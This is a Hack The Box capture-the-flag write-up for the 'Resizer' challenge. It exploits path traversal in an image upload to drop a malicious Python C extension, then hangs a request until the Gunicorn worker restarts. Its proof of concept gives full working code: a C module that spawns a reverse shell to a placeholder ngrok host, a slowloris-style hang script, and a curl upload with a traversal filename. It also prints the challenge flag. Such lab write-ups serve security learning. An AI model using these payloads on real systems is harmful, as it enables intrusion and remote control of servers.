đźš© HTB - Resizer
Executive Summary
- OS: Linux
- Key Technique: The challenge contains an arbitrary file write vulnerability via path traversal in the image upload endpoint. Because the application only blacklists
.pyand.pycextensions, an attacker can upload a compiled Python C-extension (.sofile) into the application’sutilsdirectory. By initiating a socket hang attack, the attacker forces the synchronous Gunicorn worker to time out and restart. Upon respawning, Python’s module resolution precedence causes the new worker to load the injected.sofile instead of the legitimate.pymodule, granting an interactive reverse shell. - Status:
Completed
Reconnaissance
Configuration
The application installed a handful of packages. The installed version of Pillow (10.2.0) is vulnerable to buffer overflow attack (CVE-2024-28219)

First Look
The application is serving a simple image resizing service. It has a file upload endpoint where we can upload our image and receive our image back as a, downloadable attachment.


Inside the main application file app.py, we can see exactly how the images are processed.
First, when the request arrived they are passed through a number of extension and content-type filters. This is dangerous because:
- It only checks for extensions and content-type of the file attached to the incoming request, not the actual content.
- It uses a blacklist which can be easily spoofed and/or bypassed.

After the file is uploaded, it is saved onto the system and then being passed to the resize function (imported from/app/utils/helpers.py into /app/utils/resizer.py).

Exploitation
The first thing I did was adding some debug code to look at the dataflow of the application and seeing how things go. I tried uploading a normal image:

Let’s try changing the path to a path traversal payload:


Path traversal succeeded. This mean we can add arbitrary file into any places we have write permission.
This prerequisite allows us to consider an attack called Python - C-Extension Precedence Hijacking or Python Module Hijacking.
What is it?
Link to original
- Concept: An exploitation technique that leverages CPython’s module resolution order. When Python imports a module, it prioritizes compiled C extensions (
.soon Linux) over standard Python source files (.py) if both exist in the same directory. By dropping a malicious.sofile adjacent to a legitimate.pyfile, an attacker can hijack the import process without needing to overwrite the original file.- Impact: Remote Code Execution (RCE), Local Privilege Escalation (LPE), or Persistence.
These are the prerequisites for the attack to work:
Circular transclusion detected: 05---Content/Python---C-Extension-Precedence-Hijacking
To execute this, we can either write into the /site-packages directory (which is the directory where python pip store installed packages or Library) or write into the /app/utils folder that stores custom helper dependencies.

The /site-packages is not writable by the application (which is run under the app user according to supervisord.conf) so it left us with writing into the /app/utils folder, prerequisite 1 and 2 are satisfied.

This being a white box challenge also allows us to know the Python and the OS version of the remote target. In order to compile an .so file we just need to run this command:
docker run --rm -v $(pwd):/app -w /app python:3.12 gcc -shared -o helpers.so -fPIC -I/usr/local/include/python3.12 helpers.cThe only prerequisite we need to satisfy is finding a reliable way to force the application to restart.
Slowloris Attack on Gunicorn
Gunicorn (aka. Green Unicorn) is a production-grade Python wSGI HTTP server for UNIX environments.
Basically, what it does is to take in a HTTP request in bytes and translate it into a python wSGI dictionary and pass it to the Flask app logic. The Flask app logic, being run by the gunicorn worker, translates the incoming dictionary into its native request object to perform the work.
This is what a normal wSGI environ dictionary looks like:

If you look closely, there will be some familiar terms that we often see in a normal HTTP request like CONTENT-TYPE or HTTP_USER_AGENT.
Then what is a worker? Worker in general is a process spawn by the gunicorn master process to listen to the network socket for incoming wSGI dictionaries, hold the Flask app in its allocated memory, execute the code based on the request and send out the response.

Looking at the ps -auf output above we can see that the Gunicorn server is running with 5 workers at the time.
According to the Azure OSS Developer Support’s documentation on Gunicorn configurations there is a no --worker-class assigned so it is default to synchronous workers. The default timeout for workers in Gunicorn is 30 seconds.
Since the synchronous workers means it can only listen to one request at a time, by sending an incomplete request, the connection will be left open until the master process k1lls the workers (the 30-second timeout) and re-spawns a new one.
When a new one is respawn it has to load the Flask app in its memory, so it will do the import process again, this time, since we’re already uploaded the malicious helpers.so file onto the system, this will execute the code inside the shared object file and complete our Python - C-Extension Precedence Hijacking attack.
Proof of Concept
helpers.c:
#include <Python.h>
#include <stdlib.h>
static PyModuleDef helpersmodule = {
PyModuleDef_HEAD_INIT,
"helpers",
NULL,
-1,
NULL, NULL, NULL, NULL, NULL
};
PyMODINIT_FUNC PyInit_helpers(void) {
system("python3 -c \"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<YOUR_NGROK_TCP_IP>',<YOUR_NGROK_TCP_PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/usr/bin/bash')\" &");
return PyModule_Create(&helpersmodule);
}
hang.py
import socket
import time
import sys
if len(sys.argv) < 3:
print("Usage: python3 hang.py <TARGET_IP> <TARGET_PORT>")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
print(f"[*] Connecting to {target_ip}:{target_port}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
headers = (
"POST /resize HTTP/1.1\r\n"
f"Host: {target_ip}\r\n"
"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary\r\n"
"Content-Length: 9999999\r\n"
"\r\n"
"------WebKitFormBoundary\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"fake.png\"\r\n"
"Content-Type: image/png\r\n"
"\r\n"
)
s.send(headers.encode('utf-8'))
print("[+] Headers sent.")
try:
for i in range(1, 36):
time.sleep(1)
sys.stdout.write(f"\r[+] Hanging... {i}s")
sys.stdout.flush()
except Exception as e:
print(f"\n[-] Socket error: {e}")
s.close()exploit.sh
#!/bin/bash
if [ "$#" -ne 2 ]; then
echo "Usage: $0 <TARGET_IP> <TARGET_PORT>"
exit 1
fi
TARGET_IP=$1
TARGET_PORT=$2
TARGET_URL="http://${TARGET_IP}:${TARGET_PORT}/resize"
if [ ! -f "helpers.so" ]; then
echo "[*] helpers.so not found. Looking for helpers.c..."
if [ -f "helpers.c" ]; then
echo "[+] Found helpers.c! Compiling..."
docker run --rm -v "$(pwd):/app" -w /app python:3.12 gcc -shared -o helpers.so -fPIC -I/usr/local/include/python3.12 helpers.c
if [ $? -ne 0 ]; then
echo "[-] Error: Compilation failed. Please check your C code."
exit 1
fi
echo "[+] Compilation successful."
else
echo "[-] Error: Neither helpers.so nor helpers.c found in the current directory."
exit 1
fi
fi
if [ ! -f "hang.py" ]; then
echo "[-] Error: hang.py not found in current directory."
exit 1
fi
echo "[*] Uploading helpers.so"
UPLOAD_RESPONSE=$(curl -s -X POST "${TARGET_URL}" \
-F "file=@helpers.so;filename=../../../../../../../app/utils/helpers.so")
echo "[+] Upload request sent."
sleep 1
echo "[*] Executing hang.py"
python3 hang.py "${TARGET_IP}" ${TARGET_PORT}Note: Make sure to run
nc -nvlp <port>and route it through a ngrok tunnel before runningexploit.sh
Loot & Flags
Flag: HTB{4b1641af8f32561b51af7d5bb28dd90e}
Notes:
- For anyone who wonders why the CVE-2024-28219 was not used to cause a system crash by triggering a segmentation fault via buffer overflow, this is because the code base used
from PIL import Image, if you look at the source code for theImagemodule here you’ll notice that none of the used function (open(),save()andresize()) routes its data through_imagingcms.cor importingImageCmsmodule to trigger the vulnerability, so it is not possible to use this CVE in this challenge.